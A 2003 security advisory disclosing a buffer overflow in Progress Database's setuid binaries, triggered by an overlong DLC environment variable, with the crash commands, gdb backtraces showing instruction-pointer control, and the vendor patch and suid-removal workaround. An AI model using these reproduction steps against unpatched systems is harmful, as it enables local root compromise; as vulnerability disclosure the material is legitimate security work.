COMMAND

	Progress Database poor bounds checking (local root compromise)

SYSTEMS AFFECTED

	Versions 6 to 9.1D05 (immune)

PROBLEM

	KF  [http://www.snosoft.com]  found  and  reported  in  Secure   Network
	Operations, Inc. advisory SRT2003-04-01-1231:
	
	Proof Of Concept Status : SNO has NUMEROUS exploits  for  the  described
	situation Low Level Description	:
	
	In the  past  Progress  Software  (http://www.progress.com)  has  had  a
	number of security vulnerabilities.  Most  of  these  issues  have  been
	cross platform and spread  across  multiple  versions  of  the  Progress
	database. The current Progress policy is to  fix  the  vulnerability  in
	the most recent and supported version of the software  in  question.  In
	efforts  to  illustrate  the  importance  of  upgrading  your   Progress
	installation I am going to detail  one  such  cross  version  and  cross
	platform vulnerability.
	 
	In the Progress environment the DLC variable  tells  Progress  where  it
	can find the base installation directory. (Un)fortunately when  Progress
	binaries request and use the DLC variable there is a lack of user  input
	verification in the form of bounds checking. In both  lab  and  customer
	environments SNOSoft  has  been  able  to  use  this  flaw  to  run  our
	shellcode (machine instructions) of choice. The result  of  our  testing
	shows that a full root compromise is quite plausible.
	
	Our testing was conducted on the following Progress versions under  unix
	based environments:
	
	
	PROGRESS Developer's Toolkit Version 6.2K02 as of Fri Dec 6 20:00:11 EST 1991
	"The PROGRESS 4GL&RDBMS" Version 6.3E14 as of Thu Sep 08 23:46:06 EDT 1994
	PROGRESS Version 7.3E as of Thu Apr 17 18:12:18 EDT 1997
	PROGRESS Version 8.2C as of Fri Feb 20 16:25:13 EST 1998
	PROGRESS Version 8.3A as of Wed Aug  5 19:01:15 EDT 1998
	PROGRESS Version 9.1C as of Wed Jun  6 20:42:24 EDT 2001
	PROGRESS Version 9.1D as of Wed May  8 16:47:54 EDT 2002
	
	
	Debugger output		:
	
	The below information confirms the issue is valid  across  all  versions
	between v6 and v9. The results vary depending on  the  stack  layout  of
	the host operating system and endian of the processor.
	
	First set an overly long DLC variable
	
	bash-2.03$ export DLC=`perl -e 'print "A" x 9000'`
	
	
	Make sure PROMSGS variable is set or you recieve the following error
	
	bash-2.03$ /u/dlctk/_proutil
	msgopn: unable to open PROMSGS
	
	bash-2.03$ export PROMSGS=/path/to/promsgs
	
	
	Earlier versions (v6) may not  be  exploitable  (on  SCO  OpenServer  at
	least) however this can not be confirmed at this time
	
	
	bash-2.03$ /u/dlctk/_proutil
	SYSTEM ERROR: strent request for more than 32K (893)
	** Please save file named core for analysis by PSC. (439)
	Quit (core dumped)
	
	bash-2.03$ /u/dlc6/_mprosrv
	11:48:07 SYSTEM ERROR: strent request for more than 32K (893)
	11:48:07 ** Please save file named core for analysis by PSC. (439)
	Quit
	
	
	on versions beyond v7 the behavior changes to a  positively  exploitable
	situation
	
	
	# /u/dlc7/bin/_mprosrv
	(hangs and must be sent a kill signal)
	Killed
	
	Starting program: /u/dlc7/bin/_mprosrv
	
	Program received signal SIGSEGV, Segmentation fault.
	0x6fc93 in getenv ()
	(gdb) bt
	#0  0x6fc93 in getenv ()
	#1  0x6f6fa in _tz_info ()
	#2  0x75c59 in tzset ()
	#3  0x6e3f1 in localtime_r ()
	#4  0x6e2f0 in localtime ()
	#5  0x4aebb in uthms ()
	#6  0x286c in dblgm ()
	#7  0x8664 in Iomsgw ()
	#8  0x79c3 in msgout ()
	#9  0x7782 in msgn ()
	#10 0x8221 in drpfile ()
	#11 0x82c1 in drstartpf ()
	#12 0x41414141 in ?? ()
	Cannot access memory at address 0x41414141.
	
	# /u/dlc8/bin/_mprosrv
	(hangs and must be sent a kill signal)
	Killed
	
	Starting program: /u/dlc8/bin/_mprosrv
	(no debugging symbols found)...(no debugging symbols found)...
	(no debugging symbols found)...
	Program received signal SIGSEGV, Segmentation fault.
	0x80021c2d in getenv ()
	(gdb) bt
	#0  0x80021c2d in getenv ()
	#1  0x8001f2da in _tz_info ()
	#2  0x8004e5c2 in tzset ()
	#3  0x8004e4ba in _localtime_r ()
	#4  0x8001db5f in localtime ()
	#5  0x80a9d57 in uthms ()
	#6  0x804d698 in dblgm ()
	#7  0x805495d in .text ()
	#8  0x8053b73 in msgout ()
	#9  0x805394c in msgn ()
	#10 0x80544d1 in drpfile ()
	#11 0x8054581 in drstartpf ()
	#12 0x41414141 in ?? ()
	Cannot access memory at address 0x41414141.
	
	# /u/dlc9/bin/_mprosrv
	(hangs and must be sent a kill signal)
	Killed
	
	Starting program: /u/dlc9/bin/_mprosrv
	
	Program received signal SIGSEGV, Segmentation fault.
	Cannot remove breakpoints because program is no longer writable.
	It might be running in another process.
	Further execution is probably impossible.
	0x80087e40 in ?? ()Cannot access memory at address 0x8005400c.
	(gdb) bt
	#0  0x80087e40 in ?? ()Cannot access memory at address 0x8005400c.
	(gdb) i r
	eax            0x8131e80        135470720
	ecx            0x54     84
	edx            0x8045adc        134503132
	ebx            0x800dcc4c       -2146579380
	esp            0x8044d5c        0x8044d5c
	ebp            0x800da78c       0x800da78c
	esi            0x800da78c       -2146588788
	edi            0x41414141       1094795585
	eip            0x80087e40       0x80087e40
	ps             0x10206  66054
	cs             0x17     23
	ss             0x1f     31
	ds             0x1f     31
	es             0x1f     31
	fs             0x0      0
	gs             0x0      0
	

SOLUTION

	Patch or Workaround	: Upgrade to Progress version 9.1D05
	
	Recently Progress addressed the above  mentioned  issue  in  the  latest
	9.1D patch. Our understanding is that in  order  to  receive  protection
	from the DLC buffer overflow customers should upgrade to 9.1D05 as  soon
	as possible. No plans have  been  made  to  roll  these  fixes  back  to
	previous versions. It is also our understanding that the  product  known
	as 9.1C will be "retired" soon.
	
	Patches to the 9.1D version are available here:
	
	http://www.progress.com/patches/patchlst/91D-156v.htm
	
	
	The patch description is as follows:
	
	20021204-055 * DB - signal services
	
	
	The $DLC environment variable can be used  to  mount  a  buffer-overflow
	attack on Progress privileged binaries.
	
	A patched system should respond as follows:
	
	
	sh-2.05b# export DLC=`perl -e 'print "A" x 9000'`
	sh-2.05b# export PROMSGS=/usr/dlc/promsgs
	sh-2.05b# /usr/dlc/bin/_mprosrv
	12:01:06 The DLC environment variable exceeds it's maximum length of 4095 bytes
	(11001).
	
	
	a valid work around to nearly any Progress security hole  is  to  remove
	the suid bit from all binaries